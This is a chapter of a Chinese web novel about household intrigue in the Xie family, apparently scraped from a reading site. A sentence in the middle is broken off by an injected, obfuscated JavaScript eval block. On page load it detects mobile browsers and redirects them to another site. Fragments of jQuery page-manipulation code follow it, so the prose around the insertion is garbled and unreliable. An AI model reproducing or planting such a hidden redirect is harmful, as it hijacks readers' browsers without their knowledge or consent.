123读书网 > 玄幻小说 > 倚廊蔻 > 28. 下人
    “父亲可知道母亲要与我说亲?”


    谢怀延一句话便将二夫人堵得说不出话来,一时更加火起。


    “你就会拿你父亲堵我,我一个做母亲的,难道为自己儿子操心还有何错处不成?”


    二夫人气冲冲地离开,谢怀延捏了捏胀痛的额角。


    绍六蹑手蹑脚摸了过来,见谢怀延似乎十分疲累的样子,连平日惯常说的玩笑话都不敢说了,闭着嘴站在谢怀延身后,只等着他吩咐。


    隔了一会,谢怀延叹了一声,当着绍六的面翻开那本《帘珑花影》,绍六眼珠子都快掉下来了,公子居然真会看这种东西?


    “不愧是能与花楼头牌厮混的人,心思不用在读书上,居然能看得进这种处处讹误的书。”


    绍六:“……”


    讹误?不是……自家公子看这种书看的是人家是否有错别字,是否语句通顺?


    公子没事儿吧……


    绍六拿起来粗粗看了几页,因认识的字不多,反倒让人觉得无甚特别。


    等等……绍六这才想起公子话中的重点:“公子你是说这书是三公子……”


    谢怀延看闲书这事闹出来时,他并没有急着反驳,而是趁着谢家的下人以讹传讹之机,找到了“根源所在”。


    “那日发现此书的人中,三个房的奴婢侍人都在,二房的人断不会做这样的事,那便只剩其余两房。”


    绍六了然:“公子猜测是三公子所为,难道是因他素来浪荡轻浮?可话又说回来,三公子与公子又无冤仇,上头的爷儿也都在,远轮不着他来争个高低,他为何要陷害公子?毁了公子清誉于他又有什么好处?”


    这事其实不难猜,行此事之人愚蠢又卑劣,因是谢家人所为,又不是什么大事,他若追究,便会将此事闹大,于他名声更为不利。若是不追究,便坐实了他表里不一,心思不纯。


    这一招是不错,可那人也太低估自己,以为他不会反击?


    谢怀延道:“此事还不好确定是不是大房所为,但总与我这弟弟脱不了关系。”言毕,谢怀延看向绍六,沉声训斥:“你平日怎么让人守得院子?褚升、褚旭两兄弟不够你使?”


    “奴错了公子……”绍六垂着头听训,确实是他的疏忽,才让人有机可乘进了公子书房:“今后奴定让褚升、褚旭将院子守好,若再有今日之事发生,奴当先受罚!”


    见谢怀延缓和了脸色,绍六才道:“奴听闻苏姑娘理好了寿宴要用的单子,给了三个房的夫人看,明日便会开始采买了。”


    谢怀延有些诧异。按常理说,大夫人掌着谢家一切财帛支出,寿宴的事,往年都没让其他两房的人插手过,怎的这次是三位夫人一起看?


    后一想,又想通了,便轻笑一声:这姑娘,是聪慧。


    大夫人让苏潆办寿宴定没安什么好心,可她若要使什么手段,最易放在单子上,随便在采买上动动手脚,苏潆可说不清。但三个房的人一同看过,大夫人事后便挑不出什么错处来难为她。


    看来他的担心有些多余,这姑娘哪里是任人拿捏的,与她姐姐的性子是不同。


    寿宴之事是大事,从各房之中调遣人手是每年寿宴的“惯例”。只是这次来调遣的人,换成了一个谢府的外姓人。那些平日在主子面前低眉顺眼的奴婢侍人,竟都耍起了“威风”。


    老夫人寿宴上的吃食出不得一点差错。每一样食材,苏潆总要亲自跑过定下,再做出来品尝才算完。换成往日哪有这般麻烦,大夫人找到邺阳有口碑的酒楼定下,做好了再送过来便是。


    但这次大夫人给她的银钱,不容她去大酒楼定菜,可自己做呢,费时又费力,关键是这些下人还不得力。


    偷奸耍滑,瞒神弄鬼之事不知做了多少,杪冬整日跟在苏潆身边没日没夜地干活,看着这群不知又躲去哪里偷懒的人,气便不打一处来。


    “他们倒好,仗着是各房送来的人,整日在姑娘面前颐指气使,竟把主子当下人,真是反了!”


    苏潆反倒一脸淡然地安慰她:“在他们眼里,我哪里是什么主子,且由着他们吧。”


    “那怎么行!”杪冬涨红了脸,骂道:“苏姨娘是大爷身边的,有自己的院子与奴婢侍人,是正儿八经的主子!姑娘是苏姨娘的妹妹,怎么就不是主子了?奴婢去告诉大夫人,让他们好好惩治这群不像话的东西!”


    “回来。”苏潆拦住杪冬,将她按在椅子上:“如今这局面才是大夫人想要的,她如何会替我们教训那群奴仆?再说,他们不过是躲躲懒,再过分的事也没了,就算来个人管,也不过是不痛不痒训斥几句罢了,起不到关键作用。”


    “那要如何?反正奴婢见不惯姑娘被欺负!”杪冬气呼呼地起身,却将苏潆逗笑了。


    只是这笑意中,夹杂着许多感动。杪冬自从跟了她,没过上一天好日子,还整天吃自己画的大饼。杪冬心思通透,并非不知未来的不确定性,却依旧选择相信她,且义无反顾地护着她。


    这丫头,在别人眼里是莽撞憨直的,但在自己这里,是忠心不二的。


    不说是为了姐姐,就算是为了不辜负杪冬对她的处处维护之情,她也不能让人欺负了去。


    “你看见你家姑娘被欺负了?”苏潆笑着问她。


    “姑娘你没看见吗?那群人躲懒躲到哪里去了都不知,你说的话一概不听,让做事见不着人影,这不算欺负算什么?”


    “不算。”苏潆给她解释道:“就这些事,只能算……他们看不惯谢家这个白吃白喝的外姓女,在老夫人的寿宴上出风头。那些在暗处拍手叫好的,免不得是看上面人行事的,否则他们怎么敢。”


    “那姑娘怎么办,由着他们躲懒不做事?那岂不是要累死姑娘了!”杪冬鼓着眼睛干着急。


    苏潆缓缓道:“我们不是还有援兵么……”苏潆朝着杪冬眨眨眼睛。


    要说这谢二公子的病,是来得突然去得也突然,没两日便生龙活虎,看着比往日还要精神些。


    还是一如既往扎在书房里,谢家的人都习以为常,省了去恭贺病愈的程序,没人去打扰他,谢怀延却一点没闲着。


    夜里,绍六才从苏潆的小院里回来,加上白日里打探到的消息,他一五一十跟谢怀延汇报。


    “大房与三房的人都不服姑娘管,整日躲懒,不仅不做事,还总与姑娘吵嘴。我瞧着姑娘神情憔悴,似瘦了好大一圈。”


    这才几日就瘦了?谢怀延蹙眉,面上逐渐凝聚冷意:“是我小瞧了这群奴婢,原想着就算是为了祖母寿宴,也不会不尽心。”


    “做这事儿的是苏姑娘,若是最后出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884565|190884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了差错也是苏姑娘担着,他们等着看笑话,自然不把老夫人寿宴的事放在心上。”


    “看来谢家这群下人,合该好好理一理。”谢怀延对绍六道:“去将你那兄弟叫来。”


    绍六的兄弟并不是亲兄弟,乃是儿时拜过把子的,名叫荆安。人在老家种地,日子虽贫却也算过得去,可惜前两年闹了灾,家里的人只剩了一个八岁的女儿,两人走投无路便想着来投靠绍六。


    原本只是碰碰运气,没承想绍六是个讲义气的,二话没说拿了自己一半的私房钱出来给他。又去谢怀延面前求了个差事,这才让他好好活了下来。


    现在这人与绍六已是过命的交情,在谢怀延的院子里打杂,平时为人低调踏实,却是个比绍六更多了几分聪慧的人。


    谢怀延开门见山:“有件事需要你去办。”


    荆安也不多问,躬身回道:“公子吩咐。”


    “此次祖母寿宴,你与小阿满去苏姑娘那里帮衬着,一切听从苏姑娘安排,还有……”谢怀延起身向他走来,低声道:“替她清清周围的人。”


    荆安一早便知,如果只是去帮忙打下手的事,便不会叫他。既然叫了,那定是需要不常在谢家露面的人去做。


    荆安也猜到,这苏姑娘定不是一般的女子。待得了令退下后,荆安忍不住问了绍六:“还想从六哥这里问句话,那个苏姑娘是……”


    绍六也不知,到底该如何形容苏潆与自家公子的关系。想了想,只能含糊其词:“苏姑娘是公子的……朋友……”


    嗯,是极好的朋友。


    荆安愣了一下,似乎有些诧异。他几次回忆这位“苏姑娘”,都觉没什么印象,但又觉似乎在哪里听过见过。


    这也不怪荆安,谢怀延对于苏潆之事都颇为谨慎,几次见面也只许绍六近前,其余人一律找理由避开。


    绍六见他疑惑的样子,便透露了一些消息给他,也给他提了个醒:“苏姑娘是大爷身边的妾室,苏姨娘的妹妹。”


    荆安这才记起来,他也见过这位苏姑娘两次。只是远远地看着,小阿满说了一句“这个姐姐真好看”,他便也跟着看了两眼。只记得这姑娘站在人群后,一身浅色衣裳与周遭花色艳丽的姑娘、夫人们形成了浅浓交织的强烈反差。


    她似乎比那些婢子都“素”些,显得十分内婉沉静。


    静的几乎让人忘记她的存在。


    那是他第一次见这姑娘,也听见了身边有婢子轻蔑地冷哼:“这外姓女脸皮可真厚,见过赖在亲戚家的落魄女,没见过赖在妾室姐姐家的……”


    “听闻她是自己找来谢家的……”


    “啧啧啧……真是厉害啊……”


    几声略带讥讽与戏谑的笑意传入他的耳中,荆安十分不适。人好歹也是正经人家的姑娘,家道落魄了,为了活命,为何不能倚着自家姐姐?不过讨一口饭食活着罢了,至于说得如此难听?


    他摇摇头走了,自己没身份与她们争辩,也看不惯她们的所作所为。


    谢家的下人,虽比外面普通人家的高一等,可说到底还是奴婢,与正经家的姑娘是不一样的。就算是寄人篱下,想必日后也能嫁个不错的郎君。


    难道这个郎君便是二公子?


    荆安不敢乱猜,第二日老老实实去了苏潆跟前听命。